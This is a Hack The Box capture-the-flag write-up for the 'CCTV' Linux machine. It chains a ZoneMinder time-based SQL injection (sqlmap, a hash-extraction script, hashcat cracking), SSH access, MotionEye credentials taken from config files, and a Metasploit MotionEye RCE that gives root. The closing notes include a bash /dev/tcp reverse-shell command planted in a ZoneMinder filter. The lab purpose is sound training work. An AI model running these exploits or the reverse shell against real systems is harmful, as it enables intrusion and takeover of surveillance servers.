> m4rt@CTF_ARCHIVE:~$

// ATTACHMENTS

Hack The Box / LINUX / 2026-07-11

Hack The Box - CCTV (Linux)

ZoneMinder time-based SQL injection reveals mark credentials. After SSH login, we find the MotionEye configuration files with the admin password. Finally, a MotionEye RCE vulnerability leads to root.

Target

  • IP: 10.129.1.55

Initial reconnaissance

sudo nmap -sC -sV 10.129.1.55 -p- -v
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|_  256 76:1d:73:98:fa:05:f7:0b:04:c2:3b:c4:7d:e6:db:4a (ECDSA)
80/tcp open  http    Apache httpd 2.4.58
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://cctv.htb/
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Add cctv.htb to /etc/hosts.

Browse to http://cctv.htb/ and click on staff login. That takes us to http://cctv.htb/zm/.

Log in with:

  • admin / admin

The installed ZoneMinder version is 1.37.63. That version is affected by CVE-2024-51482.

Reference:

  • https://github.com/ZoneMinder/zoneminder/security/advisories/GHSA-qm8h-3xvf-m7j3

ZoneMinder time-based SQL injection

We can interact with the vulnerable endpoint like this:

curl -X POST 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' -d 'user=admin&pass=admin'

To make sqlmap easier to use, we route the request through Burp.

Start Burp Proxy, then send the request through it:

curl -X POST 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' -d 'user=admin&pass=admin' --proxy 'http://127.0.0.1:8080/'

Copy the raw request into req.txt and run:

sqlmap -r req.txt -p tid

sqlmap confirms that the tid parameter is vulnerable to SQL injection:

Parameter: tid (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: view=request&request=event&action=removetag&tid=1 AND (SELECT 7179 FROM (SELECT(SLEEP(5)))IVQE)

Looking at the upstream ZoneMinder source code we can identify the database name and the user table name.

sqlmap is slow here, even with multithreading:

sqlmap -r req.txt -p tid -D zm -T Users --dump --threads 10

It also dumps more than we need when asking for columns, so I decided to write a small script that extracts only the password.

The script is attached as CVE-2024-51482_time_sqli.py.

ZoneMinder already shows a user named mark, so we can target that account.

One important detail is that MySQL comparisons are case-insensitive by default, so extracting the password hash directly as text is inconvenient.

For example:

mysql> select 'a' = 'A';
+-----------+
| 'a' = 'A' |
+-----------+
|         1 |
+-----------+
1 row in set (0.00 sec)

mysql> select 'a' = 'a';
+-----------+
| 'a' = 'a' |
+-----------+
|         1 |
+-----------+
1 row in set (0.00 sec)

mysql> select 'a' = 'b';
+-----------+
| 'a' = 'b' |
+-----------+
|         0 |
+-----------+
1 row in set (0.00 sec)

To avoid that issue, we extract the password hash as a hexadecimal string. That also reduces the number of characters we need to test.

Run the script:

python3 CVE-2024-51482_time_sqli.py

The result is:

[+] Password for 'mark': $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.

Put the hash into a file called hash and crack it:

hashcat -a 0 -m 3200 ./hash /usr/share/wordlists/rockyou.txt

That gives us:

$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.:opensesame

SSH access as mark

Log in over SSH as mark and enter the password opensesame.

ssh mark@cctv.htb

Enumerate listening ports:

ss -ltpn
State                       Recv-Q                      Send-Q                                           Local Address:Port                                             Peer Address:Port                      Process
LISTEN                      0                           70                                                   127.0.0.1:33060                                                 0.0.0.0:*
LISTEN                      0                           4096                                                 127.0.0.1:8554                                                  0.0.0.0:*
LISTEN                      0                           4096                                                 127.0.0.1:8888                                                  0.0.0.0:*
LISTEN                      0                           128                                                  127.0.0.1:8765                                                  0.0.0.0:*
LISTEN                      0                           4096                                                   0.0.0.0:22                                                    0.0.0.0:*
LISTEN                      0                           4096                                                 127.0.0.1:9081                                                  0.0.0.0:*
LISTEN                      0                           151                                                  127.0.0.1:3306                                                  0.0.0.0:*
LISTEN                      0                           4096                                                127.0.0.54:53                                                    0.0.0.0:*
LISTEN                      0                           4096                                                 127.0.0.1:1935                                                  0.0.0.0:*
LISTEN                      0                           4096                                             127.0.0.53%lo:53                                                    0.0.0.0:*
LISTEN                      0                           4096                                                 127.0.0.1:7999                                                  0.0.0.0:*
LISTEN                      0                           511                                                          *:80                                                          *:*
LISTEN                      0                           4096                                                      [::]:22                                                       [::]:*

Port 8765 is MotionEye.

Its configuration is in /etc/motioneye.

ls /etc/motioneye
camera-1.conf  motion.conf  motioneye.conf

In motion.conf we find:

# @admin_username admin
# @normal_username user
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0

Forward MotionEye with SSH:

ssh -NL 8765:localhost:8765 -NL 8554:localhost:8554 mark@cctv.htb

Then browse to http://127.0.0.1:8765/.

Log in with:

  • admin / 989c5a8ee87a0e9521ec81a79187d162109282f0

We are logged in.

The installed MotionEye version is 0.43.1b4.

Searching online reveals CVE-2025-60787.

The exploit is available through Metasploit:

msfconsole
use exploit/linux/http/motioneye_auth_rce_cve_2025_60787
set LHOST tun0
set RHOSTS 127.0.0.1
set RPORT 8765
set PASSWORD 989c5a8ee87a0e9521ec81a79187d162109282f0
run

The exploit succeeds and we get a Meterpreter session.

getuid
Server username: root

From there we can drop into a shell with shell.

Additional notes

There is also an RCE path through ZoneMinder itself.

Start a netcat listener:

nc -vlnp 4444

Set up a fake RTSP stream using this repository:

  • https://github.com/insight-platform/Fake-RTSP-Stream

Download it, enter the directory, and run:

docker compose up

Then in ZoneMinder add a monitor and set the source to:

rtsp://10.10.16.41:8554/local-loop

Enable recording.

Go to the filters page and create a new filter with:

event disk space    is not      NULL
Execute command on all matches: bash -c 'bash -i >& /dev/tcp/10.10.16.41/4444 0>&1'

Check the box for running the filter in the background, save it, and click execute.

The netcat terminal receives a reverse shell.